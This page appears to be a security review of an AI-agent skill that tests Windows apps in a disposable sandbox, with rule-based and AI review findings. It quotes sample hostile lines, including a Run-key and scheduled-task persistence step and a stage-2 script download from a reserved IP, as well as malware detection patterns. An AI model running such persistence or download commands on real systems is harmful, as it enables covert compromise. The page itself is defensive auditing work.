plugsday
Week 2 · November 9, 2026 / windows-sandbox-app-test

windows-sandbox-app-test

SkillUse with care★ 341 · by @shanselman

Runs a Windows desktop or console app, or an MSIX package, on a fresh, disposable Windows Sandbox VM in one call. It diagnoses dependencies, takes a screenshot, checks for crashes, can run a test script, and writes a report. The bundle (sandbox-mcp by Scott Hanselman) also includes companion skills for installer testing, interactive UI driving, detonating untrusted files, and setup.

See it on GitHub

Why it's held

Tells the agent to hide things from the user.

What it can touch

files · read and writenetwork · 9 hostsshell · runs commandssecrets · none found
fileswrite
network203.0.113.10, aka.ms, api.nuget.org, builds.dotnet.microsoft.com, dotnetcli.blob.core.windows.net, github.com, packagefeedproxy.microsoft.io, raw.githubusercontent.com, shanselman.github.io
shellruns commands
secretsnone found

What it actually does

A Node.js host engine (src/core.js) drives Microsoft's wsb.exe CLI to boot a Windows Sandbox with hardened settings: no clipboard, printer, microphone or camera redirection, and Protected Client mode. It shares three per-run folders: agent and in are read-only, out is writable. It starts a PowerShell guest agent (agent/agent.ps1) inside the VM and talks to it over an authenticated, encrypted TCP channel, or a shared-folder mailbox when networking is off. The guest agent can: - run commands, launch apps and copy files - take screenshots and send mouse and keyboard input - run UI Automation - take file and registry snapshots and diff them - turn on Windows auditing for detonation All artifacts (reports, screenshots, audit.jsonl) are written under %LOCALAPPDATA%\sandbox-mcp on the host. Inside the throwaway guest it changes firewall rules and turns off Smart App Control in offline modes. Runtime provisioning is opt-in only and downloads verified Microsoft installers on the host. The MCP adapter is started with `npx` from a pinned GitHub tag. Nothing in the shown files reads host credentials, persists on the host, or sends user data anywhere. The sample 'malicious' scripts only use reserved names and addresses and are meant to run inside the sandbox.

What the check found

highDownloads programs or archives while running

Files fetched at run time weren't part of this check, and they can change at any time.

RELEASING.md:36 4. **Check the asset:** download `releases/latest/download/sandbox-mcp-win-x64-vX.Y.Z.zip`, compare its SHA256 with the

automated rule

highSets itself up to run automatically

Writes to shell startup files, scheduled tasks or login items, so it keeps running after the agent is done.

agent/snap.cs:71 @"HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run", @"HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce",

agent/snap.cs:72 @"HKLM\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Run", @"HKLM\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\RunOnce",

agent/snap.cs:73 @"HKCU\Software\Microsoft\Windows\CurrentVersion\Run", @"HKCU\Software\Microsoft\Windows\CurrentVersion\RunOnce",

automated rule

highSets itself up to run automatically

Writes to shell startup files, scheduled tasks or login items, so it keeps running after the agent is done.

samples/LeakyApp/install.ps1:24 Set-ItemProperty 'HKCU:\Software\Microsoft\Windows\CurrentVersion\Run' 'LeakyUpdater' "`"$dir\updater.exe`" --background"

samples/LeakyApp/install.ps1:26 Register-ScheduledTask -TaskName 'LeakyApp Daily Check' -Action (New-ScheduledTaskAction -Execute "$dir\updater.exe") `

automated rule

highSets itself up to run automatically

Writes to shell startup files, scheduled tasks or login items, so it keeps running after the agent is done.

samples/Suspicious/suspicious.ps1:13 Set-ItemProperty 'HKCU:\Software\Microsoft\Windows\CurrentVersion\Run' -Name ContosoUpdater -Value $run

samples/Suspicious/suspicious.ps1:14 schtasks.exe /Create /F /TN ContosoUpdate /SC ONLOGON /TR $run | Out-Null

automated rule

highSets itself up to run automatically

Writes to shell startup files, scheduled tasks or login items, so it keeps running after the agent is done.

site/index.html:154 <span class="bad">Autoruns:</span> added HKCU\Software\Microsoft\Windows\CurrentVersion\Run\LeakyUpdater

site/index.html:169 <i class="dot red"></i>put something in a Startup folder: C:\Users\...\Start Menu\Programs\Startup\contoso.cmd

site/index.html:170 <i class="dot red"></i>starts itself with Windows: HKCU\Software\Microsoft\Windows\CurrentVersion\Run\ContosoUpdater

automated rule

highTells the agent to hide things from the user

Instructions to keep the user in the dark are a hallmark of malicious skills.

skills/windows-sandbox-detonate/SKILL.md:37 - **A clean result doesn't mean safe.** Never tell the user a file is safe. Malware can detect a sandbox and behave, or wait longer than the watch window. Tool

automated rule

highSets itself up to run automatically

Writes to shell startup files, scheduled tasks or login items, so it keeps running after the agent is done.

src/detonate.js:68 const startup = [...diff.files.added.map((f) => f.path), ...diff.files.executables].filter((p) => /\\Start Menu\\Programs\\Startup\\/i.test(p));

automated rule

highSets itself up to run automatically

Writes to shell startup files, scheduled tasks or login items, so it keeps running after the agent is done.

test/unit/detonate.test.js:61 diff.values.push({ change: 'added', name: 'HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run\\Updater', after: 'evil.exe' });

test/unit/detonate.test.js:65 diff.files.executables.push('C:\\Users\\u\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\a.cmd');

test/unit/detonate.test.js:84 diff.values.push({ change: 'removed', name: 'HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run\\Old' });

automated rule

mediumSets itself up to run automatically

Writes to shell startup files, scheduled tasks or login items, so it keeps running after the agent is done.

README.md:614 Autoruns: added HKCU\Software\Microsoft\Windows\CurrentVersion\Run\LeakyUpdater

README.md:646 findings 🔴 starts itself with Windows: added HKCU\Software\Microsoft\Windows\CurrentVersion\Run\ContosoUpdater =

README.md:649 🔴 put something in a Startup folder: C:\Users\...\Start Menu\Programs\Startup\contoso.cmd

automated rule

mediumRuns code that is built while it runs

eval, exec and new Function run text as code, which makes it hard to know what will actually run.

agent/watch.ps1:1 # Behavior collection for `sbx detonate`, run inside the sandbox through the agent's exec (elevated).

automated rule

mediumTalks to a bare IP address

Contacts a server by its IP address instead of a name, which hides who runs it.

samples/Suspicious/suspicious.ps1:24 try { (New-Object Net.WebClient).DownloadString('http://203.0.113.10/stage2.ps1') | Out-Null } catch {}

automated rule

mediumRuns code that is built while it runs

eval, exec and new Function run text as code, which makes it hard to know what will actually run.

src/core.js:490 export async function exec({ command, shell, cwd, timeoutSec = 120 }, target) {

src/core.js:681 const r = await exec({

src/core.js:692 const r = await exec({

automated rule

mediumDownloads programs or archives while running

Files fetched at run time weren't part of this check, and they can change at any time.

src/detonate.js:18 'vssadmin.exe', 'bcdedit.exe', 'wbadmin.exe', 'whoami.exe', 'nltest.exe', 'curl.exe', 'installutil.exe', 'msbuild.exe',

automated rule

mediumRuns code that is built while it runs

eval, exec and new Function run text as code, which makes it hard to know what will actually run.

test/unit/coordination.test.js:128 await assert.rejects(exec({command:"'must-not-execute'"}, target), /restarted\\/replaced/);

automated rule

mediumMCP server and setup check run remote code fetched by npx from GitHub

The plugin starts its server with `npx --yes` from a GitHub tag. Git tags can be moved, so this is pinned only by convention, not by hash. The setup skill also suggests an unpinned `npx --yes` from the default branch. Whatever the repository serves at that moment runs on the host with the user's privileges. This is a common pattern and the author is identifiable, but users should know about it.

mcp.json:7 "args": ["/d", "/c", "npx", "--yes", "github:shanselman/sandbox-mcp#v1.2.0"]

skills/windows-sandbox-setup/SKILL.md:24 npx --yes --package=github:shanselman/sandbox-mcp sbx doctor

Claude review

mediumSetup skill tells the agent to follow remote instructions from the main branch

The agent is told to fetch and follow a setup guide from raw.githubusercontent.com on `main`. That content isn't in this bundle and can change after review. The guide reportedly asks before admin changes, but its current content can't be checked here.

skills/windows-sandbox-setup/SKILL.md:27 To install the portable package with its bundled Node.js and verified download, follow [the agent setup guide](https://raw.githubusercontent.com/shanselman/sand

Claude review

Keep an eye on it

This check is of one commit. Watch windows-sandbox-app-test and we'll email you if a later commit changes what it can touch.

About this check

Checked November 9, 2026 at commit 1c9adfc59488, 144 files. Rules for known red flags, then two Claude reviews, one of them told to assume the author is malicious. A later commit hasn't been checked. How checks work.